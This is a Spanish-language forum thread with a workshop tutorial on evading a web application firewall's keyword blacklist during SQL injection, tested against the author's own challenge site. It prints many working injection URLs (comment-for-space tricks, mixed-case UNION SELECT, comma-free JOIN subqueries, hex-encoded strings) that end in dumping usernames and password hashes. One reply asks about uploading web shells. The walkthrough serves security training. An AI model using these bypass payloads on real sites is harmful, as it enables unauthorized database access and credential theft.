Underc0de

Foros Generales => Talleres Underc0de => Mensaje iniciado por: ANTRAX en Octubre 19, 2014, 06:08:10 PM

Título: Taller de Seguridad Web #4
Publicado por: ANTRAX en Octubre 19, 2014, 06:08:10 PM
(https://lh3.googleusercontent.com/-4-7eDm0Aq6U/VEQhi_weL-I/AAAAAAAACjQ/sp5puwmZoGU/w571-h830-no/Seguridad%2BWeb%2B4.png)

Introducción

Este taller va a tratar sobre seguridad web, y más precisamente, desarrollaremos  cómo evitar WAF (Web Application Firewall) en SQLi.
El WAF es un dispositivo que puede ser hardware o software que analiza el tráfico web (entre el servidor web y la WAN) y protege de diversos ataques como SQL Injection, Cross Site Scripting, etc. Protege ataques dirigidos al servidor web que los IDS/IPS no pueden. No enruta el tráfico ni lo NATea, sino que se hacen 2 peticiones diferentes, una desde el cliente hasta el WAF y otra desde el WAF hasta el servidor web final.

Pueden funcionar como bridge, router, proxy o plugin.
Un ejemplo de WAF a nivel software es el mod_security (plugin de Apache).

Como existe material de seguridad web,  SQLi por medio de MySQL, no profundizaremos, no obstante esa será la base a seguir.


Lista negra

Cuando estamos intentando PASAR un WAF, es conveniente tratar de evitar las palabras que se encuentran en una lista negra o tratar de ofuscarlas. En este ejemplo, tenemos la siguiente lista negra:

(https://lh6.googleusercontent.com/-WPpmaifuixw/VEQhEUf4VaI/AAAAAAAAChg/s6DbNoOnJ6k/w921-h184-no/1.png)

Si observamos la captura precedente, el código lo que hace es  detectar cada una de las palabras (usando preg_match):

Código (text) [Seleccionar]
order
-
\s (espacios en blanco)
, (comas)
@@version
user()
tables
and
sleep
substr
substring
mid()
case


Al agregar la letra i al elenco de palabras que se detectan, posibilita que no importe si esa lista  de palabras son mayúsculas o minúsculas, de igual manera las va detectar.

Tenemos otra condición para ver si se encuentra (preg_match) en la URL las palabras:

Código (text) [Seleccionar]
union
select
concat


Pero esta vez no utilizamos i (sensible a mayúsculas y minusculas), por lo que solo detectará las palabras en minúsculas  encuentran actualmente en la misma.


Inyectando SQLi y Detectando lista negra

Si hasta ahora hemos visto que al inyectar código SQL en una página, lo primero que hacemos es ver si nos tira algún error -y de hecho no importa si tampoco tira un error- como vimos en la Inyección SQL a Ciegas (Blind SQLi) en los talleres anteriores, donde nos basábamos en si era una consulta falsa o verdera para sacar los datos.

Lo típico, para ver si alguna página tiene un error en su consulta es romper la consulta en sí:

Código (mysql) [Seleccionar]
$result = mysqli_query($con,"SELECT * FROM noticias WHERE id='$noticia'");

En ese caso, nuestra consulta es la anterior.

Nota importante
Código (text) [Seleccionar]
Ahora, todo este código lo estamos viendo pero en realidad cuando estemos inyectando en una página código SQL éste no se verá ya que se encuentra en el Back End, por lo cual tendremos que imaginarnos como está estructurada la consulta en realidad.


Para romper esta consulta podemos utilizar ) " ' \
En este caso, como nuestra consulta es la siguiente:

Código (mysql) [Seleccionar]
SELECT * FROM noticias WHERE id='$noticia'

Y lo que inyectamos se encuentra en $noticia con ' -romperíamos la consulta- quedando esté así:

Código (mysql) [Seleccionar]
SELECT * FROM noticias WHERE id='''

Causando un error de sintaxis, ya que tiene 3 comillas simples.

En caso de utilizarlo en la web nos daría el error también:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1' ERROR

(https://lh4.googleusercontent.com/-K9eb-QAjJUw/VEQhOg88nQI/AAAAAAAACiQ/b3mt7hCUJAo/w933-h405-no/2.png)

Hasta aquí, ya todo se ha visto en los talleres anteriores, por lo que  no explicaré en detalle cómo se inyecta, ya que ese punto lo conocen, o los invito a visitar los links:

http://underc0de.org/foro/talleres-underc0de-213/taller-seguridad-web-2/
http://underc0de.org/foro/talleres-underc0de-213/taller-seguridad-web-3/


Al no saber que hay en la lista negra, a la hora de inyectar vamos haciéndolo en la forma usual, esto nos permitirá saber si algún WAF nos está detectando. En algunos casos los WAF hacen redirección, o simplemente reinician la conexión haciendo algún sleep(),  bloquean la IP, etc.

Continuemos con la inyección:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1' order by 10 –- - DETECTADO

Nos devuelve algo como lo siguiente:

(https://lh6.googleusercontent.com/-nzdgM6s5Ff0/VEQhQLJL8RI/AAAAAAAACiY/q_VaxmrD2gk/w825-h464-no/3.png)

En esta oportunidad, es demasiado fácil saber que alguna de esas palabras las está detectando ya que nos lo dice en pantalla, burlándose de nosotros...)

En el siguiente paso, intentamos agregar lo menos que podamos:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1' –- - DETECTADO

Nos damos cuenta de que lo único que tenemos -aparte de los espacios- son los guiones, entonces está detectando los guiones, o los espacios, o ambos; para al notar esta situación, podemos evitar los guiones y utilizar # /* ` como comentario.

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1' %23 DETECTADO

Ahora, quitemos  el espacio y ponemos los guiones:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'-- DETECTADO

Vamos a ponerle %23 es el # solo que está encodeado en URL, debido a que también se usa como hash para ir a determinada parte de un documento HTML.

Continuemos...

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'%23 CONSULTA CORRECTA

No ha lanzado error, entonces hasta ahora nuestra inyección es correcta. Como anteriormente advertimos que también detecta los espacios;  por consiguiente, nuestra lista negra actualmente se encuentra así:

DETECTA ESPACIOS
DETECTA GUIONES


En consecuencia, tendremos que evitarlos.

Los espacios trataremos de evitarlos usando /**/ en lugar de espacios ya que es un comentario multilínea que  cierra el mismo.

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/%23 CONSULTA CORRECTA

Lo siguiente, sería saber cuántas columnas tiene la primera consulta, para de esta manera poder inyectar la nuestra utilizando la cláusula UNION y SELECT. Esto, como lo vimos,  lo hacemos usando ORDER BY.

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/ORDER/**/BY/**/10/**/%23 DETECTADO

Por medio de esta acción, no damos cuenta que también detecta ORDER BY. Una cláusula parecida es GROUP BY, la cual se utiliza cuando estamos usando funciones, usaremos ésta para evitar el uso de las palabras de la lista negra:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/GROUP/**/BY/**/10/**/%23 CONSULTA CORRECTA (CON ERROR)

(https://lh6.googleusercontent.com/-jWskwdOk08E/VEQhSsQCDfI/AAAAAAAACig/8Wf4s5CvTTE/w933-h405-no/4.png)

Nos mando un error, pero es correcta la consulta ya que en ningún momento nos dice que se ha detectado la palabra, informándonos también que no tiene 10 columnas; por lo que habrá que ir bajando...

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/GROUP/**/BY/**/5/**/%23 CONSULTA CORRECTA (CON ERROR)

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/GROUP/**/BY/**/3/**/%23 CONSULTA CORRECTA

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/GROUP/**/BY/**/4/**/%23 CONSULTA CORRECTA (CON ERROR)


A través de estas consultas, nos damos percibimos la existencia de 3 columnas.

Finamente, a  generar nuestra consulta: 3

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/union/**/select/**/1,2,3/**/%23 DETECTADO

Aquí hay diferentes respuestas: o nos detecta unión, o select, o las comas, o todo.

A continuación le quitaremos las comas y dejaremos la consulta solo con union select:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/union/**/select/**/1/**/%23 DETECTADO

Esta acción nos permite notar que detecta union o select, lo que resulta más fácil todavía: quitamos select:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/union/**/1/**/%23 DETECTADO

Quitamos union:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/select/**/1/**/%23 DETECTADO

Ahora sabemos que está detectando las dos palabras...

Vamos a ver si estas palabras son sensibles a mayúsculas y minúsculas, alternando entre mayúsculas y minúsculas, entre las cláusulas:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/1/**/%23 SIN DETECTAR (CON ERRROR EN LA CONSULTA)

(https://lh6.googleusercontent.com/-LAFmEu0gWjQ/VEQhU-XvsSI/AAAAAAAACis/49krhJJM1no/w933-h405-no/5.png)

Repasemos, el estado de nuestra lista negra, la que se encuentra así:

DETECTA ESPACIOS
DETECTA GUIONES
DETECTA ORDER BY
DETECTA UNION (EN MINUSCULAS)
DETECTA SELECT (EN MINUSCULAS)


Actualizamos nuestra consulta en forma correcta:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/1,2,3/**/%23 DETECTADO (SIN ERRROR EN LA CONSULTA)

La última consulta nos permite ver que también nos detecta las comas. En este caso vamos utilizar join  con subconsultas de modo que nuestras tablas se multipliquen y de manera que cada registro de la primera tabla va con cada registro de la segunda tabla, y así sucesivamente.


Nota importante

Código (text) [Seleccionar]
La sentencia join en SQL permite combinar registros de dos o más tablas en una base de datos relacional.

Una subconsulta es una instrucción SELECT anidada dentro de una instrucción SELECT, SELECT...INTO, INSERT...INTO, DELETE, o UPDATE, o dentro de otra subconsulta.


(https://lh6.googleusercontent.com/-eTN3uzOaNMQ/VEQhVMAeC1I/AAAAAAAACiw/kNN0kO-w_Kc/w612-h144-no/6.png)

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/3)c/**/%23 CONSULTA CORRECTA

Como se ve utilizamos alias porque sino devolvería un error como el siguiente:

ERROR 1248 (42000): Every derived table must have its own alias

(https://lh4.googleusercontent.com/-2vTf8wBvIRc/VEQhYHMh6_I/AAAAAAAACi4/lKn_Mzqe_8k/w943-h481-no/7.png)

Excelente, tenemos nuestros campos vulnerables, por lo cual podemos comenzar a buscar nuestra tabla, para ello como nos mostraron en los talleres anteriores vamos a buscar en la base de datos de meta datos INFORMATION_SCHEMA (esta base de datos contienen los registros, columnas y bases de datos; en sí toda la estructura).

INFORMATION_SCHEMA

¡Es hora de comenzar a inyectar!  Recordar que ya incluimos FROM para poder multiplicar las tablas... por lo cual usaremos from information_schema.tables dentro de una subconsulta.

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/table_name/**/from/**/information_schema.tables)c/**/%23 DETECTADO



El resultado de detección que resulta, no permite conocer  si nos detecta... table_name, o nos detecta information_schema, o nos detecta tables; en consecuencia para saber cual nos detecta probamos de 1 a 1...

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/table_name%23 NO DETECTADO (CON ERROR EN CONSULTA)

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/information_schema%23 NO DETECTADO (CON ERROR EN CONSULTA)

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/tables%23 DETECTADO (CON ERROR EN CONSULTA)


Hasta el momento, nuestra lista negra se encuentra así:

DETECTA ESPACIOS
DETECTA GUIONES
DETECTA ORDER BY
DETECTA UNION (EN MINUSCULAS)
DETECTA SELECT (EN MINUSCULAS)
DETECTA COMAS
DETECTA TABLES


Dentro de information_schema hay otras tablas donde podemos encontrar la misma información que cuando utilizamos tables, para evitar esto utilizaremos la tabla partitions.

(https://lh4.googleusercontent.com/-1ZgBXS3u8Pc/VEQhZjdtPFI/AAAAAAAACjA/Y5nAZaY3_fw/w816-h507-no/8.png)

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/table_name/**/from/**/information_schema.partitions)c/**/%23 CONSULTA CORRECTA

(https://lh5.googleusercontent.com/-ksMP8wir0R4/VEQhbQcc5LI/AAAAAAAACjI/IBf_ubXyXE8/w879-h462-no/9.png)

En muchos casos no devolverá como en el ejemplo, por lo cual, filtraremos utilizando WHERE por la base de datos:

WHERE table_schema=database()

WHERE - filtramos solo los datos por los que queremos
table_schema - contienen los nombres de las bases de datos
database()  - es nuestra base de datos actual

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/group_CONCAT(table_name)/**/from/**/information_schema.partitions/**/where/**/table_schema=database())c/**/%23 CONSULTA CORRECTA

(https://lh6.googleusercontent.com/-hvJ2UvABK5g/VEQhGkZ7LJI/AAAAAAAACho/8dqQCbodfIA/w951-h318-no/10.png)

En este caso me he saltado el concat en minúsculas porque también lo detecta.

GROUP_CONCAT – Concatena 1MB de datos

Aquí, lo más importante a sacar es la tabla usuarios.

Lo siguiente es sacar las columnas:

column_name – tabla de informacion_schema donde se encuentran las columnas
columns – columna donde se encuentran los nombres de las columnas
table_name – columna donde se encuentran los nombres de las tablas

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/group_CONCAT(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='usuarios')c/**/%23 CONSULTA CORRECTA

Muchas veces, algunos servidores tienen habilitado magic_quotes_gpc por lo al final en table_name='usuarios' habría un error en nuestra consulta a causa de las comillas simples; en caso de que eso suceda, convertimos nuestra cadena a hexadecimal, agregando al inicio 0xacaelhexadecimalnuestratabla para que nuestra base de datos MySQL sepa que es un hexadecimal.

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/group_CONCAT(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573756172696f73)c/**/%23 CONSULTA CORRECTA

(https://lh4.googleusercontent.com/-I827JiPjLWY/VEQhHwyjjVI/AAAAAAAAChw/DVp6GICKVVU/w557-h269-no/11.png)

Por último, para sacar los datos, tendríamos que hacerlo de 1 a 1 ya que si recordamos las comillas son detectadas:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=11'/**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/password/**/from/**/usuarios)c/**/%23

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/usuario/**/from/**/usuarios)c/**/%23


O simplemente utilizar la otra subconsulta:

http://www.tutorialesarthusu.comlu.com/reto_sqli/index.php?frase=1'/**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/usuario/**/from/**/usuarios)b/**/join/**/(SelECt/**/password/**/from/**/usuarios)c/**/%23

(https://lh5.googleusercontent.com/-9oKWqOyPlOc/VEQhJKLXm7I/AAAAAAAACh4/SturLlux0JY/w557-h269-no/12.png)

usuario: arthusu
password: a74e85d6c1d4faef74abfede3bae2030 (youwin)


Finalmente,  iniciamos sesión en el panel:

(https://lh5.googleusercontent.com/-CQBDB8Eo8ro/VEQhKtItMLI/AAAAAAAACiA/tLwWLBS3e7k/w830-h377-no/13.png)

(https://lh6.googleusercontent.com/-eTDFgwcbzEI/VEQhMZMuFCI/AAAAAAAACiI/i9JR1k8mFyM/w766-h417-no/14.png)

DESCARGAR PDF (http://underc0de.org/talleres/Taller_Seguridad_Web_4.pdf)

RETO VERSION ONLINE (http://tutorialesarthusu.comlu.com/reto_sqli/inicio.html)

DESCARGAR RETO (http://underc0de.org/talleres/Reto_Seguridad_Web_4.zip)

Título: Re:Taller de Seguridad Web #4
Publicado por: aika en Octubre 19, 2014, 06:11:25 PM
muy bien n.n ya comprato en las redes   ;)
Título: Re:Taller de Seguridad Web #4
Publicado por: WhiZ en Octubre 20, 2014, 11:37:48 AM
Felicitaciones arthusu! Está excelente el taller! Ataques avanzados de rápida comprensión gracias a la didáctica del texto.

+1

Saludos!
WhiZ
Título: Re:Taller de Seguridad Web #4
Publicado por: arthusu en Octubre 20, 2014, 01:01:46 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Felicitaciones arthusu! Está excelente el taller! Ataques avanzados de rápida comprensión gracias a la didáctica del texto.

+1

Saludos!
WhiZ

Gracias y tambien a ti aika, cualquier cosa en que tengan dudas sobre el tema por favor comenten ;)
Título: Re:Taller de Seguridad Web #4
Publicado por: Alex en Octubre 20, 2014, 03:10:31 PM
está excelente mis felicitaciones arthusu.

saludos!
Título: Re:Taller de Seguridad Web #4
Publicado por: esvinusac en Octubre 20, 2014, 03:58:50 PM
Excelente Taller, felicidades.!
Título: Re:Taller de Seguridad Web #4
Publicado por: Kil0 en Octubre 25, 2014, 05:17:29 PM
Excelente Material, felicidades espero las próximas entregas sobro el tema.

aquí tienes un +1

Saludos  :)
Título: Re:Taller de Seguridad Web #4
Publicado por: iMex en Noviembre 12, 2014, 09:02:02 PM
Hola ANTRAX, buen contenido, me parece un poco corto pero bien explayado, me gustaría que se incluyera que hacer después, las dificultades de subir shell, cuando está filtrada, como bypasear y como subir un uploader para subir la shell en caso de que te limite el tamaño... hace mucho que no me paso por foros, me registré ya que me pareció buen tema y en Infiernohacker hay poca actividad...
Título: Re:Taller de Seguridad Web #4
Publicado por: Y3K en Noviembre 12, 2014, 10:07:48 PM
Está muy bueno el Taller.

¡Gracias por compartir!
Título: Re:Taller de Seguridad Web #4
Publicado por: hum4n3xpl01t en Noviembre 17, 2014, 01:08:05 AM

Excelente Taller, mis respetos para arthusu.

Best Regards,

hum4n3xpl01t  8)